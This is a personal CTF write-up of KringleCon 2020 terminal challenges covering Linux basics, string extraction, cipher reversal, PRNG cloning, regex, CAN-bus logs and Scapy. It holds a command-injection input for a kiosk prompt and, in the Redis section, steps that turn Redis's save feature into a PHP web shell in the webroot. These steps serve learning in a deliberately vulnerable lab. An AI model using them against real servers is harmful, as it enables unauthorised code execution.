KringleCon 2020

2020 has been a wild year for me, as it has for everyone. I was overseas for the Marines when all of the Coronavirus stuff first started happening in the United states, came back, and had 3 months to do everything I needed to do to leave the military. After starting my new job at AWS, I decided I’d also pursue a Master’s degree at University of San Diego, because I appearantly hate my own free time.

But that’s not going to stop me from participating in the Holiday Hack this year!

Table of Contents

Cranberry Pi Challenges

  1. Kringle Kiosk
  2. Unescape Tmux
  3. Linux Primer
  4. Speaker UNPrep
  5. Snowball Fight
  6. Sort-o-Matic
  7. Redis Bug Hunt
  8. 33.6kbps
  9. The Elf Code
  10. CAN-Bus Investigation
  11. Scapy Prepper

CTF Challenges

  1. Uncover Santa’s Gift List
  2. Investigate S3 Bucket
  3. Point-of-Sale Password Recovery
  4. Operate the Santavator
  5. Open HID Lock
  6. Splunk Challenge
  7. CAN-D-BUS
  8. Broken Tag Generator
  9. ARP Shenanigans
  10. Defeat Fingerprint Sensor
  11. Naughty/Nice List

Extra Challenges

  1. Santa’s Portrait


Cranberry Pi Challenges

Kringle Kiosk

Link to Cranberry Pi Terminal

Shinny Upatree:

Hiya hiya - I’m Shinny Upatree! Check out this cool KringleCon kiosk! You can get a map of the castle, learn about where the elves are, and get your own badge printed right on-screen! Be careful with that last one though. I heard someone say it’s “ingestible.” Or something… Do you think you could check and see if there is an issue?

Upon entering the terminal, we’re faced with a multichoice window to view some information about Kringlecon. The second option, “Code of Conduct and Terms of Use” was initially of interest to me, as it appears to be a less or more output. Using the ! command, I attempted to open a default shell, run /bin/ls, or any other command, without success. Moving on, I got to the fourth option, “Print Name Badge”, which prompts:

Enter your name (Please avoid special characters, they cause some weird errors)…

Seems legit.

Entering my name as micrictor && /bin/bash dropped me into a bash shell after my nametag was printed.

Talking to Shinny, he tells us:

Golly - wow! You sure found the flaw for us! Say, we’ve been having an issue with an Amazon S3 bucket. Do you think you could help find Santa’s package file? Jeepers, it seems there’s always a leaky bucket in the news. You’d think we could find our own files! Digininja has a great guide, if you’re new to S3 searching. He even released a tool for the task - what a guy! The package wrapper Santa used is reversible, but it may take you some trying. Good luck, and thanks for pitching in!

This is the lead-in for Investigate S3 Bucket, the next Cranberry Pi.

What went wrong?

This is an example of command injection (CWE-77), where user input resulted in arbitrary command execution. In this precise case, user input to a shell prompt or command was not sanitized or escaped, letting me chain arbitrary commands to the end with &&. If the first command had failed, I would have needed to chain my arbitrary command with || to ensure execution.

Analyzing the bash script that was used in ~/, we can spot the exact error on line 42:

bash -c "/usr/games/cowsay -f /opt/reindeer.cow $name"

A more secure way of accomplishing the same thing would have been:

/usr/games/cowsay -f /opt/reindeer.cow "$name"

In this way, the name parameter is safely “contained” in it’s bubble, incapable of injecting arbirary command.

Unescape Tmux

Link to Cranberry Pi Terminal

Pepper Minstix:

Howdy - Pepper Minstix here! I’ve been playing with tmux lately, and golly it’s useful. Problem is: I somehow became detached from my session. Do you think you could get me back to where I was, admiring a beautiful bird? If you find it handy, there’s a tmux cheat sheet you can use as a reference.

For the unaware, tmux, or terminal multiplexer allows you to split a single terminal session, typically a vty or a pty (virtual teletype and psuedo teletype, respectively), into multiple “screens” with split panes and other user interface possibilites.

In order to find a “lost” session, the first course of action is to list the active sessions:

elf@8e10983e5f8b:~$ tmux list-sessions
0: 1 windows (created Sun Dec 19 02:06:07 2020) [80x24]

Resuming that session is easy tmux a -t 0 - short form for tmux attach-session --target 0. Entering the session, we see Pepper’s ASCII-art bird.

Talking to Pepper, she says:

You found her! Thanks so much for getting her back! Hey, maybe I can help YOU out! There’s a Santavator that moves visitors from floor to floor, but it’s a bit wonky. You’ll need a key and other odd objects. Try talking to Sparkle Redberry about the key. For the odd objects, maybe just wander around the castle and see what you find on the floor. Once you have a few, try using them to split, redirect, and color the Super Santavator Sparkle Stream (S4). You need to power the red, yellow, and green receivers with the right color light!

Linux Primer

Link to Cranberry Pi Terminal

Sugarplum Mary:

Sugarplum Mary? That’s me! I was just playing with this here terminal and learning some Linux! It’s a great intro to the Bash terminal. If you get stuck at any point, type hintme to get a nudge! Can you make it to the end?

Upon opening up the terminal, it looks like this is a bash game, where I’ll be prompted to do a series of tasks in a Bash shell.

  1. Perform a directory listing of your home directory to find a munchkin and retrieve a lollipop! ls ~/
  2. Now find the munchkin inside the munchkin. cat munchkin_*
  3. Great, now remove the munchkin in your home directory. rm ~/munchkin*
  4. Print the present working directory using a command. pwd
  5. Good job but it looks like another munchkin hid itself in you home directory. Find the hidden munchkin! ls -a ~/
  6. Excellent, now find the munchkin in your command history. history
  7. Find the munchkin in your environment variables. printenv
  8. Next, head into the workshop. cd ~/workshop
  9. A munchkin is hiding in one of the workshop toolboxes. Use “grep” while ignoring case to find which toolbox the munchkin is in. grep -Ri 'munchkin' ./
  10. A munchkin is blocking the lollipop_engine from starting. Run the lollipop_engine binary to retrieve this munchkin. chmod +x lollipop_engine && ./lollipop_engine
  11. Munchkins have blown the fuses in /home/elf/workshop/electrical. cd into electrical and rename blown_fuse0 to fuse0. cd electrical && mv blown_fuse0 fuse0
  12. Now, make a symbolic link (symlink) named fuse1 that points to fuse0 ln -s fuse0 fuse1
  13. Make a copy of fuse1 named fuse2. cp fuse1 fuse2
  14. We need to make sure munchkins don’t come back. Add the characters “MUNCHKIN_REPELLENT” into the file fuse2. echo "MUNCHKIN_REPELLENT" >> fuse2
  15. Find the munchkin somewhere in /opt/munchkin_den find /opt/munchkin_den -iname munchkin*
  16. Find the file owned by a user named munchkin find /opt/munchkin_den -user munchkin
  17. Find the file created by munchkins that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/munchkin_den. find /opt/munchkin_den -size 109k
  18. List running processes to find another munchkin. ps -AF
  19. The 14516_munchkin process is listening on a tcp port. Use a command to have the only listening port display to the screen. netstat -lnp
  20. The service listening on port 54321 is an HTTP server. Interact with this server to retrieve the last munchkin. curl
  21. Your final task is to stop the 14516_munchkin process to collect the remaining lollipops. kill $(ps -A -o pid,cmd | awk '/munchkin[^[]/ {print $1}')
  22. Congratulations, you caught all the munchkins and retrieved all the lollipops! Type “exit” to close…

That last one probably deserves a little explanation. Rather than depend on manually looking up the process I want to kill in the output of ps, I use awk to select the line with the string “munchkin” - but not the awk process itself.

Overjoyed by our succes, Sugarplum tells us this:

You did it - great! Maybe you can help me configure my postfix mail server on Gentoo! Just kidding! Hey, wouldja’ mind helping me get into my point-of-sale terminal? It’s down, and we kinda’ need it running. Problem is: it is asking for a password. I never set one! Can you help me figure out what it is so I can get set up? Shinny says this might be an Electron application. I hear there’s a way to extract an ASAR file from the binary, but I haven’t looked into it yet.

Speaker UNPrep

Link to Cranberry Pi Terminal

Bushy Evergreen:

Ohai! Bushy Evergreen, just trying to get this door open. It’s running some Rust code written by Alabaster Snowball. I’m pretty sure the password I need for ./door is right in the executable itself. Isn’t there a way to view the human-readable strings in a binary file?

Booting into the terminal, the following prompt is given:

Help us get into the Speaker Unpreparedness Room! The door is controlled by ./door, but it needs a password! If you can figure out the password, it’ll open the door right up! Oh, and if you have extra time, maybe you can turn on the lights with ./lights activate the vending machines with ./vending-machines? Those are a little trickier, they have configuration files, but it’d help us a lot! (You can do one now and come back to do the others later if you want) We copied edit-able versions of everything into the ./lab/ folder, in case you want to try EDITING or REMOVING the configuration files to see how the binaries react. Note: These don’t require low-level reverse engineering, so you can put away IDA and Ghidra (unless you WANT to use them!)

Seems straighforward enough. Unlock the door, turn on the lights, and turn on the vending machines.

Trying to unlock the door with no password results in this:

elf@a7f8713f79ea ~ $ ./door
You look at the screen. It wants a password. You roll your eyes - the 
password is probably stored right in the binary. There's gotta be a
tool for this...

What do you enter? > 
Beep boop invalid password

Easy enough. For full searchability, I’m going to pipe the result of strings door into vim like so: strings door | vim -. Searching for the string we got for our bad password, “Beep boop”, brings us to a block of text with the following surroundings:

 (bytes Overflowextern "
NulErrorBox<Any>thread 'expected, found Door opened!
That would have opened the door!
Be sure to finish the challenge in prod: And don't forget, the password is "Op3nTheD00r"
Beep boop invalid password
src/liballoc/raw_vec.rscapacity overflowa formatting trait implementation returned an error/usr/src/rustc-1.41.1/src/libcore/fmt/mod.rsstack backtrace:
cannot panic during the backtrace function/usr/src/rustc-1.41.1/vendor/backtrace/src/lib.rsSomething went wrong: Checking...Something went wrong reading input: Something went wrong in the environment: couldn't get the executable name
Something went wrong in the environment: RESOURCE_IDThe error message is: ask for help!

Trying our new password, “Op3nTheD00r”, the door opens for us!

Now, onto the lights. There’s one config file, lights.conf, with the following contents:

password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
name: elf-technician

Hm. I don’t immediately recognize that hash type. In the lab, I swap the username and password in the config file to see what happens:

elf@fbacc1c1a7ae ~ $ cd lab/
elf@fbacc1c1a7ae ~/lab $ ls
door  lights  lights.conf  vending-machines  vending-machines.json
elf@fbacc1c1a7ae ~/lab $ vim lights.conf 
elf@fbacc1c1a7ae ~/lab $ cat lights.conf 
name: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
password: elf-technician
elf@fbacc1c1a7ae ~/lab $ ./lights 
The speaker unpreparedness room sure is dark, you're thinking (assuming
you've opened the door; otherwise, you wonder how dark it actually is)

You wonder how to turn the lights on? If only you had some kind of hin---


---t to help figure out the password... I guess you'll just have to make do!

The terminal just blinks: Welcome back, Computer-TurnLightsOn

What do you enter? > 

Looks like I got lucky, and my first guess was right - the program blindly decrypts the config file without caring what field a value is in. With the password “Computer-TurnLightsOn”, the room is now illuminated.

As for the vending machine, this time the config is in JSON:

  "name": "elf-maintenance",
  "password": "LVEdQPpBwr"

As our prompt explicitly mentioned both modifying and deleting config files, and we’ve already modified one, I try to just delete the file.

elf@fbacc1c1a7ae ~/lab $ rm vending-machines.json 
elf@fbacc1c1a7ae ~/lab $ ./vending-machines 
The elves are hungry!

If the door's still closed or the lights are still off, you know because
you can hear them complaining about the turned-off vending machines!
You can probably make some friends if you can get them back on...

Loading configuration from: /home/elf/lab/vending-machines.json

I wonder what would happen if it couldn't find its config file? Maybe that's
something you could figure out in the lab...

ALERT! ALERT! Configuration file is missing! New Configuration File Creator Activated!

Please enter the name > 

For this, I’m going to input the contents of the config file that previously existed. The idea is that possibly the password is encrypted reversibly, with an XOR cipher or similar, so encrypting it twice is the same as decrypting it. That got us this:

elf@fbacc1c1a7ae ~/lab $ cat vending-machines.json 
  "name": "elf-maintenance",
  "password": "Q4kdXpXfTN"

Unforunately, that password didn’t work. Next, I decided to see if the password was being compressed or otherwise truncated, by initializing a password of "A"*64 and testing how many A’s I need to successfully authenticate. Passing in my password, the resulting vending-machines.json is:

  "name": "micrictor",
  "password": "XiGRehmwXiGRehmwXiGRehmwXiGRehmwXiGRehmwXiGRehmwXiGRehmwXiGRehmw"

That generated a 64-character string, so my guess that it’s truncated was wrong. Whatever encryption scheme being used under the hood does appear to rotate every 8 characters, so by using a string withevery printable ascii character 8 times in a row, I can easily create a “cipherbook” of sorts to reverse the original password. I used the following python script to generate the password:

import string
out = ""
for char in string.printable:
  out += char*8;

Which resulted in the following encrypted password:


Looks like only alphanumerics are valid password characters. Or, at least, those are the only characters that would be encrypted. Using the following Python script, I constructed a lookup table for the rotating cipher.

from collections import defaultdict
characters = list("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
cipher_text = "3ehm9ZFH2rDO5LkIpWFLz5zSWJ1YbNtlgophDlgKdTzAYdIdjOx0OoJ6JItvtUjtVXmFSQw4lCgPE6x79VbtacpgGUVBfWhPe9ee6EERORLdlwWbwcZQAYue8wIUrf5xkyYSPafTnnUgokAhM0sw4eOCa8okTqy1o63i07r9fm6W7siFqMvusRQJbhE62XDBRjf2h24c1zM5H8XLYfX8vxPy5NAyqmsuA5PnWSbDcZRCdgTNCujcw9NmuGWzmnRAT7OlJK2X7D7acF1EiL5JQAMUUarKCTZaXiGRehmwDqTpKv7fLbn3UP9Wyv09iu8Qhxkr3zCnHYNNLCeOSFJGRBvYPBubpHYVzka18jGrEA24nILqF14D1GnMQKdxFbK363iZBrdjZE8IMJ3ZxlQsZ4Uisdwjup68mSyVX10sI2SHIMBo4gC7VyoGNp9Tg0akvHBEkVH5t4cXy3VpBslfGtSz0PHMxOl0rQKqjDq2KtqoNicv"

lookup_map = defaultdict(dict)

while cipher_text:
  cipher_part = cipher_text[:8]
  current_character = characters.pop(0)
  for i in range(0, len(cipher_part)):
    lookup_map[i][cipher_part[i]] = current_character
  cipher_text = cipher_text[8:]

Then, given our original encrypted password of LVEdQPpBwr, I can simply iterate over it by position and value:

original_password = "LVEdQPpBwr"

out_string = ""
for i in range(0, len(original_password)):
  out_string += lookup_map[i % 8][original_password[i]]


Which gives us the password “CandyCane1”.

After turning on the vending machine, Bushy congratulates us:

Your lookup table worked - great job! That’s one way to defeat a polyalphabetic cipher! Good luck navigating the rest of the castle. And that Proxmark thing? Some people scan other people’s badges and try those codes at locked doors. Other people scan one or two and just try to vary room numbers. Do whatever works best for you!

Going into the Speaker Unpreparedness room and interacting with us nets us “Portals”, which we’re told are “Good for shifting the Super Santavator Sparkle Stream across spacetime… or eating!”

Snowball Fight

In the speaker unpreparedness room, Tangle has a challenge for me:

Howdy gumshoe. I’m Tangle Coalbox, resident sleuth in the North Pole. If you’re up for a challenge, I’d ask you to look at this here Snowball Game. We tested an earlier version this summer, but that one had web socket vulnerabilities. This version seems simple enough on the Easy level, but the Impossible level is, well… I’d call it impossible, but I just saw someone beat it! I’m sure something’s off here. Could it be that the name a player provides has some connection to how the forts are laid out? Knowing that, I can see how an elf might feed their Hard name into an Easy game to cheat a bit. But on Impossible, the best you get are rejected player names in the page comments. Can you use those somehow? Check out Tom Liston’s talk for more info, if you need it.

Direct Link to Challenge

Tangle’s back, and still calling me a gumshoe. Unlike last year, I know now that “gumshoe” is a slang word for “detective” - not an old-timey insult.

Starting up the game in “Impossible” mode, there’s an HTML comment with a bunch of “failed” random numbers:

Seeds attempted:

  1090096629 - Not random enough
  189551898 - Not random enough
  1073620218 - Not random enough
  1701467540 - Not random enough
  3599654058 - Not random enough
  2968913158 - Not random enough
  3827798582 - Not random enough
  <Redacted!> - Perfect!

As Tom Liston’s talk, “Random Facts About Mersenne Twisters” explicitly identified the Mersenne Twister algorithm, this seems like a logical choice to try to attack.

Luckily for us, Mersenne Twisters are easily distinguished from random given greater than 623 samples. This is due to the fact that after 623 samples, patterns in low-order bits start to become transparent, with full disclosure of the initial secret state guaranteed in 624*2 (1248) samples. For more info, see the source code of the cryptonita library attack I’ll be using.

First things first, I need to clean up the “not random enough” numbers so I can read them as a list. Easily done with awk:

micrictor@DESKTOP-5SEN25E:~/game$ awk '/Not\srandom/ {print $1}' not-random.txt > not-random-list.txt

Then, in Python, we load in in and check how many numbers we have:

with open("../not-random-list.txt", "r") as input_file:
    target_numbers = [int(line) for line in input_file.readlines()]


624 - Perfect. Using the same Python REPL, we can then do:

from cryptonita.attacks.prng import clone_mt19937

cloned_generator = iter(clone_mt19937(target_numbers))


If you’re following along, your output will be different. Opening up the game in a new window, I put in the number outputed as my player name on “Easy”. I know that this is the correct value because my board looks identical on both windows. I then play through on this much-reduced difficultly, as the enemy ship positions are identical on both boards.

After winning a perfect game on “Impossible”, Tangle tells me:

Wow, it really was all about abusing the pseudo-random sequence! I’ve been thinking, do you think someone could try and cheat the Naughty/Nice Blockchain with this same technique? I remember you told us about how if you have control over to bytes in a file, it’s easy to create MD5 hash collisions. But the nonce would have to be known ahead of time. We know that the blockchain works by “chaining” blocks together. There’s no way you know who could change it without messing up the chain, right Santa? I’m going to look closer to spot if any of the blocks have been changed. If Jack was able to change the block AND the document without changing the hash… that would require a very UNIque hash COLLision. Apparently Jack was able to change just 4 bytes in the block to completely change everything about it. It’s like some sort of evil game to him. I think I need to review my Human Behavior Naughty/Niceness curriculum again.


After finding the button for the “1 and 1/2th” floor on the ground in the speaker hall, we’re able to use the Santavator to go to the Workshop. Upon entering, we see an elf standing in the back, next to what appears to be a present sorter. The elf tells us:

Hey there, KringleCon attendee! I’m Minty Candycane! I’m working on fixing the Present Sort-O-Matic. The Sort-O-Matic uses JavaScript regular expressions to sort presents apart from misfit toys, but it’s not working right. With some tools, regexes need / at the beginning and the ends, but they aren’t used here. You can find a regular expression cheat sheet here if you need it. You can use this regex interpreter to test your regex against the required Sort-O-Matic patterns. Do you think you can help me fix it?

Link to challenge

Regular expressions - love them or hate them, you’re going to use them. Up until a couple years ago, I would have considered myself on the “hate” side of regular expressions, but I’ve since learned that, like a lot of “tools of the trade” for information security professionals, investing the time in learning at least intermediate regex will pay dividends.

In order to fix the sorting machine, we need to make 8 regular expressions matching a set of conditions. Here goes nothing:

  1. Matches at least one digit For this one, I’ll use the digit metacharacter, \d, which is functionally equivalent to the character class [0-9] - matching any number. I’ll pair it with the + occurence indicator, which means “one or more”, for a final regex of \d+
  2. Matches 3 alpha a-z characters ignoring case To match the alphabetical characters case insensitively, I’ll use the character class [A-Za-z]. Since I only want to match if there’s exactly three matches, I’ll use {3} as my occurence indicator, for a final regex of [A-Za-z]{3}
  3. Matches 2 chars of lowercase a-z or numbers This character class is a blend of the last two, with [a-z\d] matching the desired characters. Combining that with the repetition indicator {2}, we get [a-z\d]{2}.
  4. Maches any 2 chars not uppercase A-L or 1-5 Using the ^ indicator inside our character class, we can easily match “not these characters” like so: [^A-L^1-5]. Combined with the same repititon indicator as last time, we get [^A-L^1-5]{2}
  5. Matches three or more digits only We already know to use the \d metacharacter for digits here. The added piece is that the curly braces to indicate repetition accepts a second number. If we add a comma, but don’t specify a second number, the maximum length is infinite. Since we also can only accept “presents” with numbers, the last digit must be a digit. We can ensure we’ve reached the end of the string being checked using an “anchor” - “^” indicates the start of a strig, “$” the end. So, our final regex is: \d{3,}$.
  6. Matches multiple hour:minute:second time formats only From here on it gets hairy. In order to restrict the possible numbers that will be interpreted as hours, minutes, and seconds, I formed conditional statements using parenthesis, with the pipe character (|) denoting a logical OR. For hours, in order to only match numbers 0-23, I formed this regex: ([01]?\d|2[0-3]) - simply put, if a number starts with a 0 or 1, it can have any digit as its second digit. Matching 0-59 was far simpler - ([0-5]\d). Putting those two together formed the regex below.


  1. Matches MAC address format only while ignoring case. In my opinion this was actually easier than the previous one. As MAC addresses are 6 colon-separated hexadecimal bytes, we first find five such bytes with a colon immediately proceeding them using ([A-Fa-f0-9]{2}:){5}, then add on a capture for the last byte, [A-Fa-f0-9]{2}, resulting in this:


  1. Matches multiple day, month, and year formats only. This was honestly the most tedious to create, due to all of the edge cases - similar to #6. I won’t try to explain it piece by piece because it’s a mess, but the short version is that days are in the range of 01 to 31, months are in the range of 01 to 12, and years are any four-digit numbers. Valid separators between those fields are ., /, and -.


As thanks for helping fix the sorting machine, Minty tells us this:

Great job! You make this look easy! Hey, have you tried the Splunk challenge? Are you newer to SOC operations? Maybe check out his intro talk from last year. Dave Herrald is doing a great talk on tracking adversary emulation through Splunk! Don’t forget about useful tools including Cyber Chef for decoding and decrypting data! It’s down in the Great Room, but oh, they probably won’t let an attendee operate it.

I’ll have to go back and do that Splunk challenge next.

Redis Bug Hunt

Feeling snacky, I found the Castle kitchen next. With no cookies in sight, I talk to a nearby elf:

Hi, so glad to see you! I’m Holly Evergreen. I’ve been working with this Redis-based terminal here. We’re quite sure there’s a bug in it, but we haven’t caught it yet. The maintenance port is available for curling, if you’d like to investigate. Can you check the source of the index.php page and look for the bug? I read something online recently about remote code execution on Redis. That might help! I think I got close to RCE, but I get mixed up between commas and plusses. You’ll figure it out, I’m sure!

Link to Cranberry Pi Terminal

Booting into the above terminal, we see the following message:

We need your help!!

The server stopped working, all that's left is the maintenance port.

To access it, run:

curl http://localhost/maintenance.php

We're pretty sure the bug is in the index page. Can you somehow use the
maintenance page to view the source code for the index page?

Following the instructions seems like a good idea:

player@dce68068f086:~$ curl 'http://localhost/maintenance.php'

ERROR: 'cmd' argument required (use commas to separate commands); eg:
curl http://localhost/maintenance.php?cmd=help
curl http://localhost/maintenance.php?cmd=mget,example1

Using this command to try get the authentication password succeeds:

player@dce68068f086:~$ curl 'http://localhost/maintenance.php?cmd=config,get,require*'
Running: redis-cli --raw -a '<password censored>' 'config' 'get' 'require*'


For ease of use, I can now start my own CLI and not have to use the web interface using the command redis-cli -a 'R3disp@ss'.

According to this page on Redis manipulation, I can abuse the “save” functionality of Redis to create a PHP shell in the webroot. I set the directory for the save to /var/www/html, the default for Apache2, and the file to shell.php, as follows:

player@dce68068f086:~$ redis-cli -a 'R3disp@ss'
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.> config set dir /var/www/html/
OK> config set dbfilename shell.php
OK> set reverse "<?php echo(system($_REQUEST['cmd'])); ?>"
OK> save
OK> exit
player@dce68068f086:~$ curl 'http://localhost/shell.php?cmd=ls' --output -
REDIS0009�      redis-ver5.0.3�
 aof-preamble��� reverse(index.php
shell.php�:Bq��* �player@dce68068f086:~$ 

Passing our new shell the command cat index.php, we can see the contents:

player@dce68068f086:~$ curl 'http://localhost/shell.php?cmd=cat%20index.php' --output -
REDIS0009�      redis-ver5.0.3�
 aof-preamble��� reverse(<?php

# We found the bug!!
#         \   /
#         .\-/.
#     /\ ()   ()
#       \/~---~\.-~^-.
# .-~^-./   |   \---.
#      {    |    }   \
#    .-~\   |   /~-.
#   /    \  A  /    \
#         \/ \/

echo "Something is wrong with this page! Please use http://localhost/maintenance.php to see if you can figure out what's going on"
?>�:Bq��* �player@dce68068f086:~$ 

There’s our bug!

Talking to Holly again:

See? I knew you could to it! I wonder, could we figure out the problem with the Tag Generator if we can get the source code? Can you figure out the path to the script? I’ve discovered that enumerating all endpoints is a really good idea to understand an application’s functionality. Sometimes I find the Content-Type header hinders the browser more than it helps. If you find a way to execute code blindly, maybe you can redirect to a file then download that file?


On the other side of the kitchen, there’s an elf, Fitzy Shortstack, sitting by a phone.

“Put it in the cloud,” they said… “It’ll be great,” they said… All the lights on the Christmas trees throughout the castle are controlled through a remote server. We can shuffle the colors of the lights by connecting via dial-up, but our only modem is broken! Fortunately, I speak dial-up. However, I can’t quite remember the handshake sequence. Maybe you can help me out? The phone number is 756-8347; you can use this blue phone.

Finally, a challenge I consider myself knowledgable on up front. I got my start in IT as a telephone systems adminsitrator, so I’m intimately familiar with the way that dialup, ISDN, T1 trunks, and many other protocols interact on and through the publically switched telephone network (PSTN).

Listening to the handshake and looking at the phone, it’s clear we’re going to have to work with Fitzy to “speak dialup” to a distant modem. This isn’t actually as ridiculous as it sounds - dial up was intentionally made to transfer digital signal using only tones within the range of normal human speech. This was because, at the time, phone lines could only really transfer signals within that range of frequencies, hence the limited bandwidth - there was only a range of 5000Hz available.

This article goes into much more depth, if that’s your thing.

After some trial and error, I’m able to map the following options Fitzy has on the phone to their portions of the dialup modem connection sequence.

  1. Protocol initiation - “baa DEE brrr”
  2. Handshake - “aaah”
  3. PSTN signaling - “WEWEWwrwrrwrr”
  4. Line strength determination - “beDURRdunditty”
  5. Signal flow - “SCHHRRHHRTHRTR”

Talking to our human modem again:

ahem! We did it! Thank you!! Anytime you feel like changing the color scheme up, just pick up the phone! You know, Santa really seems to trust Shinny Upatree…

The Elf Code

Ribb Bonbowford

Left of entryway before kitchen

CAN-Bus Investigation

Up on the roof, where elves are cracking away at NetWars, we find an elf standing near the Sleigh. He says:

Hiya hiya - I’m Wunorse Openslae! I’ve been playing a bit with CAN bus. Are you a car hacker? I’d love it if you could take a look at this terminal for me. I’m trying to figure out what the unlock code is in this CAN bus log. When it was grabbing this traffic, I locked, unlocked, and locked the doors one more time. It ought to be a simple matter of just filtering out the noise until we get down to those three actions. Need more of a nudge? Check out Chris Elgee’s talk on CAN traffic!

Link to Cranberry Pi terminal

Booting into the terminal, we get the following message:

Welcome to the CAN bus terminal challenge!

In your home folder, there's a CAN bus capture from Santa's sleigh. Some of
the data has been cleaned up, so don't worry - it isn't too noisy. What you
will see is a record of the engine idling up and down. Also in the data are
a LOCK signal, an UNLOCK signal, and one more LOCK. Can you find the UNLOCK?
We'd like to encode another key mechanism.

Find the decimal portion of the timestamp of the UNLOCK code in candump.log
and submit it to ./runtoanswer!  (e.g., if the timestamp is 123456.112233,
please submit 112233)

Taking a look at the first few lines of candump.log, we can see that there are three columns - timestamp, interface, and the CAN frame value:

elf@b10df20a3e92:~$ head candump.log 
(1608926660.800530) vcan0 244#0000000116
(1608926660.812774) vcan0 244#00000001D3
(1608926660.826327) vcan0 244#00000001A6
(1608926660.839338) vcan0 244#00000001A3
(1608926660.852786) vcan0 244#00000001B4
(1608926660.866754) vcan0 244#000000018E
(1608926660.879825) vcan0 244#000000015F
(1608926660.892934) vcan0 244#0000000103
(1608926660.904816) vcan0 244#0000000181
(1608926660.920799) vcan0 244#000000015F

According to this blog post by SecureLayer7, the first number, 244, indicates that CAN 244 is for speed-related data, such as vehicle RPM. In the referenced source code, we can also see that the CAN ID for door-related operations is 19B. Filtering our CAN logs for this CAN ID gives the following:

elf@b10df20a3e92:~$ grep '19B#' candump.log 
(1608926664.626448) vcan0 19B#000000000000
(1608926671.122520) vcan0 19B#00000F000000
(1608926674.092148) vcan0 19B#000000000000

As we were told that there was two locks and one unlock, it’s clear that the middle one is the unlock, making the value for the answer “122520”

elf@b10df20a3e92:~$ ./runtoanswer 122520
Your answer: 122520

Your answer is correct!

Talking to Wunorse again, he says:

Great work! You found the code! I wonder if I can use this knowledge to work out some kind of universal unlocker… … to be used only with permission, of course! Say, do you have any thoughts on what might fix Santa’s sleigh? Turns out: Santa’s sleigh uses a variation of CAN bus that we call CAN-D bus. And there’s something naughty going on in that CAN-D bus. The brakes seem to shudder when I put some pressure on them, and the doors are acting oddly. I’m pretty sure we need to filter out naughty CAN-D-ID codes. There might even be some valid IDs with invalid data bytes. For security reasons, only Santa is allowed access to the sled and its CAN-D bus. I’ll hit him up next time he’s nearby.

Scapy Prepper

Back up on the roof,an elf is standing next to both this Cranberry Pi terminal and the terminal for ARP Shenanigans. He says:

Welcome to the roof! Alabaster Snowball here. I’m watching some elves play NetWars! Feel free to try out our Scapy Present Packet Prepper! If you get stuck, you can help() to see how to get tasks and hints.

Link to Cranberry Pi Terminal

Given the name of this terminal, I think it’s fair to assume that I’ll be heavily referencing the Scapy documentation.

Upon startup, we get the following help text:

║ HELP MENU:                                                     ║
║ 'help()' prints the present packet scapy help.                 ║
║ 'help_menu()' prints the present packet scapy help.            ║
║ 'task.get()' prints the current task to be solved.             ║
║ 'task.task()' prints the current task to be solved.            ║
║ '' prints help on how to complete your task         ║
║ 'task.submit(answer)' submit an answer to the current task     ║
║ 'task.answered()' print through all successfully answered.     ║

Easy enough. Task one:

>>> task.get()
Welcome to the "Present Packet Prepper" interface! The North Pole could use your help preparing present packets for shipment.
Start by running the task.submit() function passing in a string argument of 'start'.
Type for help on this question.
>>> task.submit("start")
Correct! adding a () to a function or class will execute it. Ex - FunctionExecuted()

Submit the class object of the scapy module that sends packets at layer 3 of the OSI model.

The most common layer 3 protocol is IP, so I’ll submit that:

>>> task.submit(IP)
Submit the class object of the scapy module that sends packets at layer 3 of the OSI model.
For example, task.submit(sendp) would submit the sendp scapy class used to send packets at layer 2 of the OSI model.
Scapy classes can be found at ( )

Oops. Looks like I misread the prompt a bit. sendp is to layer 2 as send is to layer 3.

>>> task.submit(send)
Correct! The "send" scapy class will send a crafted scapy packet out of a network interface.

Submit the class object of the scapy module that sniffs network packets and returns those packets in a list.

The sniff method is the first one that comes to mind…

>>> task.submit(sniff)
Correct! the "sniff" scapy class will sniff network traffic and return these packets in a list.

Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named "pkt":
1. pkt = sr1(IP(dst="")/TCP(dport=20))
2. pkt = sniff(IP(dst="")/TCP(dport=20))
3. pkt = sendp(IP(dst="")/TCP(dport=20))

According to the docs, sr1 will send packets then recieve a single packet.

>>> task.submit(1)
Correct! sr1 will send a packet, then immediately sniff for a response packet.

Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets.

rdpcap is a convenient wrapper around PcapReader

>>> task.submit(rdpcap)
Correct! the "rdpcap" scapy class can read pcap files.

The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices below that correctly prints a summary of UDP_PACKETS:
1. UDP_PACKETS.print()
3. UDP_PACKETS.list()

Taking a complete stab in the dark, I assume that Scapy follows the same pattern as PySpark - that is to say that .show() is used to display the contents of an object.

>>> task.submit(2)
Correct! .show() can be used on lists of packets AND on an individual packet.

Submit only the first packet found in UDP_PACKETS.

Another stab in the dark - I think it’s fair to assume that the underlying object for a list of packets supports list indexing.

>>> task.submit(UDP_PACKETS[0])
Correct! Scapy packet lists work just like regular python lists so packets can be accessed by their position in the list starting at offset 0.

Submit only the entire TCP layer of the second packet in TCP_PACKETS.

I don’t know off-hand how to do this, so I take advantage of Python’s dir function to view all attributes of a single packet:

>>> dir(TCP_PACKETS[1])
